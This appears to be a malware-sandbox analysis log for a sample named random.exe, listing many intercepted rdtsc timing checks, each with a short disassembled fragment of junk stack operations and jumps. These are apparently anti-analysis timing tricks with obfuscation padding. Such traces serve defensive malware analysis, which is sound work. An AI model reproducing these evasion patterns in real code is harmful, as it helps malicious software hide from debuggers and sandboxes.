Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A24C13 second address: A24C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A28D76 second address: A28D82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FAC0CEEBF96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A28337 second address: A2833F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2833F second address: A2834E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FAC0CEEBF96h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2834E second address: A28352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A28352 second address: A28376 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBF9Ah 0x00000007 jns 00007FAC0CEEBF96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jp 00007FAC0CEEBF96h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A28376 second address: A2837B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A284B7 second address: A284D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FAC0CEEBFA6h 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A284D5 second address: A284DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A284DC second address: A284F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAC0CEEBF9Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A284F2 second address: A284F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A284F6 second address: A28504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FAC0CEEBF96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A28504 second address: A2850E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FAC0CE0F756h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2850E second address: A28517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A286FA second address: A2870A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnl 00007FAC0CE0F756h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2870A second address: A2870E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2870E second address: A28775 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F75Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FAC0CE0F758h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 push esi 0x00000015 jo 00007FAC0CE0F77Fh 0x0000001b jmp 00007FAC0CE0F762h 0x00000020 jmp 00007FAC0CE0F767h 0x00000025 push edx 0x00000026 jmp 00007FAC0CE0F766h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2CC85 second address: A2CC90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2CC90 second address: A2CC96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2CC96 second address: A2CC9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2CC9A second address: A2CC9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2CC9E second address: A2CCA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2CCA8 second address: A2CCC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F75Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2BFFB second address: A2C01A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007FAC0CEEBF9Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2C01A second address: A2C047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FAC0CE0F766h 0x0000000b popad 0x0000000c push edi 0x0000000d jno 00007FAC0CE0F75Ch 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2C160 second address: A2C168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2C46F second address: A2C473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2C473 second address: A2C479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2C479 second address: A2C47E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2C47E second address: A2C484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2C5AF second address: A2C5BE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAC0CE0F756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A2C84F second address: A2C86E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA4h 0x00000007 push edx 0x00000008 js 00007FAC0CEEBF96h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A314AC second address: A314B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A319D8 second address: A319E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A319E0 second address: A319F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CE0F761h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A319F6 second address: A319FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A319FC second address: A31A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A31A02 second address: A31A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A31A06 second address: A31A0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 9D90F9 second address: 9D915F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007FAC0CEEBF96h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FAC0CEEBFA8h 0x00000013 jnl 00007FAC0CEEBF98h 0x00000019 popad 0x0000001a nop 0x0000001b jl 00007FAC0CEEBF9Ch 0x00000021 mov ecx, dword ptr [ebp+122D2AF0h] 0x00000027 push 00000004h 0x00000029 mov dword ptr [ebp+122D33C5h], ecx 0x0000002f push eax 0x00000030 pushad 0x00000031 js 00007FAC0CEEBF9Ch 0x00000037 ja 00007FAC0CEEBF96h 0x0000003d pushad 0x0000003e jmp 00007FAC0CEEBFA1h 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A31BC8 second address: A31BCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A3B970 second address: A3B98C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAC0CEEBF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007FAC0CEEBF9Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A3B98C second address: A3B9AC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007FAC0CE0F756h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jl 00007FAC0CE0F756h 0x00000015 jmp 00007FAC0CE0F75Ah 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A3C488 second address: A3C490 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A3C490 second address: A3C499 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A3C499 second address: A3C4A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A3CD16 second address: A3CD1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A3CD1A second address: A3CD2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FAC0CEEBF9Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A3CD2E second address: A3CD5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F761h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FAC0CE0F75Eh 0x0000000e jmp 00007FAC0CE0F75Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A3D388 second address: A3D395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FAC0CEEBF96h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A3D395 second address: A3D399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A414EB second address: A4150B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CEEBFA9h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4150B second address: A4152E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FAC0CE0F756h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FAC0CE0F765h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4152E second address: A41533 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4070A second address: A40722 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAC0CE0F758h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FAC0CE0F756h 0x00000012 jc 00007FAC0CE0F756h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A40B15 second address: A40B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A40C4F second address: A40C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A40C55 second address: A40C5B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A40C5B second address: A40C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jc 00007FAC0CE0F756h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A41252 second address: A41256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A461FB second address: A4621D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAC0CE0F762h 0x00000008 jng 00007FAC0CE0F762h 0x0000000e jo 00007FAC0CE0F756h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4C3B7 second address: A4C3C7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 jng 00007FAC0CEEBF9Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4C7D2 second address: A4C7D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4C7D8 second address: A4C7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4C7DC second address: A4C7E2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4C996 second address: A4C99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4C99C second address: A4C9A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4C9A0 second address: A4C9A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4C9A4 second address: A4C9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4C9AA second address: A4C9B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FAC0CEEBF96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4C9B8 second address: A4C9BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4CC2C second address: A4CC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CEEBFA0h 0x00000009 jmp 00007FAC0CEEBFA8h 0x0000000e jnp 00007FAC0CEEBF96h 0x00000014 popad 0x00000015 pushad 0x00000016 jp 00007FAC0CEEBF96h 0x0000001c jnl 00007FAC0CEEBF96h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4CDEA second address: A4CDFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC0CE0F75Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4D07B second address: A4D081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4D081 second address: A4D085 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4D24C second address: A4D252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4D252 second address: A4D269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FAC0CE0F75Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4BF4A second address: A4BF77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBF9Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FAC0CEEBFA3h 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4BF77 second address: A4BF7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A4BF7F second address: A4BF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A56F4E second address: A56F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A56F59 second address: A56FBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAC0CEEBFA0h 0x00000008 je 00007FAC0CEEBF96h 0x0000000e jmp 00007FAC0CEEBFA1h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jno 00007FAC0CEEBF9Ch 0x0000001e pushad 0x0000001f push esi 0x00000020 pop esi 0x00000021 jnp 00007FAC0CEEBF96h 0x00000027 jmp 00007FAC0CEEBFA4h 0x0000002c jmp 00007FAC0CEEBF9Ch 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A56FBE second address: A56FC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A56FC3 second address: A56FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A594E6 second address: A59518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FAC0CE0F766h 0x0000000b popad 0x0000000c jns 00007FAC0CE0F769h 0x00000012 jmp 00007FAC0CE0F75Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 98EC36 second address: 98EC3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 98EC3A second address: 98EC4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007FAC0CE0F756h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 98EC4B second address: 98EC56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 98EC56 second address: 98EC5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A6486A second address: A6487C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FAC0CEEBF9Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A6487C second address: A6488F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007FAC0CE0F756h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A69FDC second address: A69FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A6A139 second address: A6A144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FAC0CE0F756h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A6A144 second address: A6A156 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FAC0CEEBF9Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A6A156 second address: A6A15E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A73747 second address: A7374B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A7374B second address: A7375D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CE0F75Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A7375D second address: A7377D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FAC0CEEBFA9h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A7BE67 second address: A7BE7F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007FAC0CE0F756h 0x00000009 jp 00007FAC0CE0F756h 0x0000000f pop ebx 0x00000010 jl 00007FAC0CE0F771h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
